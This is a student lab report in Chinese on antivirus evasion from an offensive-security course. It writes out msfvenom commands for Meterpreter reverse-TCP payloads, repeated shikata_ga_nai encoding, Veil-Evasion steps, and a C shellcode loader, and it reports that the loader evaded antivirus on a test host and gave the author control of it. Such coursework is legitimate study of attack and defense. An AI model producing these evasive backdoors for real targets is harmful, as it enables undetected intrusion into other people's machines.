20145336 张子扬 《网络对抗技术》免杀原理与实践
免杀技术
名词解释
单从汉语“免杀”的字面意思来理解,可以将其看为一种能使病毒木马避免被杀毒软件查杀的技术。但是不得不客观地说,免杀技术的涉猎面非常广,您可以由此轻松转型为反汇编、逆向工程甚至系统漏洞的发掘等其他顶级黑客技术,由此可见免杀并不简单。
技术分类
改变特征码
加壳:使用专业的加壳软件,掩盖特征码;
使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;
使用其他语言进行重写再编译,如veil-evasion。
改变攻击行为
反弹式连接能大大减少被阻止查杀的风险;
在正常应用软件中插入恶意代码;
将恶意代码加密,运行恶意代码后再解密进行恶意操作;
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
基础问题回答
1.杀软是如何检测出恶意代码的?
创建特征码库,对恶意代码的特征码进行匹配,匹配到即为恶意代码;
看该代码是否被流行免杀加壳软件加壳,如果有可能就是恶意代码;
根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。
2.免杀是做什么?
免杀就是通过改变恶意程序的明显特征等信息,一种能使病毒木马避免被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
改变特征码
加壳:使用专业的加壳软件,掩盖特征码;
使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;
使用其他语言进行重写再编译,如veil-evasion。
改变攻击行为
反弹式连接能大大减少被阻止查杀的风险;
在正常应用软件中插入恶意代码;
将恶意代码加密,运行恶意代码后再解密进行恶意操作;
实验步骤
msfvenom直接生成meterpreter可执行文件
1、首先使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击主机ip PORT=监听端口号 -f exe > xxx.exe
使用生成meterpreter可执行文件xxx.exe
2、将文件传送到被控主机
这老哥一送过去他就被我的电脑干掉了,很脆弱。我用的是windows系统本身自带的windows自带的windows defender,这款杀毒软件虽然是自带的,但是真心很强力,再此力荐。
3、我使用http://www.virscan.org网站进行代码检测,这个网站的作用就是检测有多少杀毒软件可以检查出你的病毒代码。
其结果如下:
检测结果大部分杀毒软件都可以查杀,说明这个病毒代码很脆弱,送到被攻击的主机上基本上就是去送的,我们之后要做的就是对代码进行处理,使这些杀毒软件杀不出来他们。
Msfvenom使用编码器生成meterpreter可执行文件
1、一次加壳
使用命令
msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -b ‘x00’ LHOST=攻击主机ip LPORT=监听端口 -f exe > xxx.exe
命令生成可执行文件xxx.exe
这里我们对代码进行一次加壳,之后的代码我们进行检测,检测结果如下:
我们发现还是有很多的杀毒软件可以发现病毒,但是已经有一些杀毒软件对这个病毒软件有崭新的看法。认为它没有病毒,但是这还不够,我们继续对这个病毒进行加壳。
2、多次加壳
我们使用命令
msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘x00’ LHOST=攻击者ip LPORT=监听端口 -f exe > xxx-e8.exe
我们将文件编码8次,得到新的代码。之后我们继续对新的代码进行检测,检测结果如下:
我们发现又有跟多的的杀毒软件检测除了问题。我们对病毒添加了更多的外壳,理应更加安全,为什么还是被查出了。我们推测,杀毒软件对这种方法都是有防御性的,要不然你打包它几百次岂不无敌。
使用Veil-Evasion生成可执行文件
1、在kali中打开veil-evasion:直接在终端输入veil-evasion即可(在这因为我用的是直接从老师那里考来的虚拟机,所以里面本身就安装了这款软件,未安装的可以使用命令
sudo apt-get veil-evasion
下载一个就行了)
2、是输入命令
use python/meterpreter/rev_tcp
结果如下:
3、设定攻击者的主机地址,监听的端口号
4、输入命令generate
5、生成可执行文件,为可执行文件命名。
6、选择编写方式,在这里我先择第一种
7、之后我对病毒进行检测,发现只有少数杀毒软件检测出病毒。
使用C语言调用Shellcode
1、使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=监听端口号 -f c
生成一个shellcode数组
2、使用这组数组编写一个程序
3、将生成可执行文件。我们检测以下这个文件,发现这又极少数杀毒软件发现了病毒,说明还是很成功的。
电脑实测
首先根据最后一个实验生成一个带有shellcode数组的病毒软件
然后将他传输到被控端,并没有被查杀出病毒
获取权限,对被控端实行控制
离实战还缺些什么技术或步骤
1、我觉得现在我们知识初步的了解了攻击流程,对攻击手段有了一定的认识。但在很多细节方面还缺少一定的火候。比如我们怎么把我们的病毒送到攻击主机上,现在我们实验中只是使用ncat,或者直接拷贝。这样显然在实战中是不可以的。所以我们可以接触一些植入病毒的方法。
2、通过本次实践,我发现杀毒软件这个东西还是蛮强大的。我们如果想实战,我们需要解决杀毒软件这个强大的对手。本次实验中我们只学习了一些皮毛,之后在这一方面我们还需深入研究,连杀软这一关都过不去,就不要提实战了。
3、在攻击控制端,我们了解的方法还是比较单一。学习了解更多的攻击方法,以备解决更多的突发情况。
实验总结与体会
本次实验是对病毒进行免杀处理,各种免杀处理效果都不太一样。但还是有很有用的免杀处理技术,所以作为一个用户的角度,我们在生活中不能过分的以来杀软。认为安装杀毒软件,电脑就很安全了,可以肆意的使用网络。还是需要培养一定的安全意识,防范于未然。作为一个攻击者,我认为免杀技术是一项最基本的技术。病毒刚植入就被查杀,就别提攻击了。所以在免杀能力这一方面我们应该加强。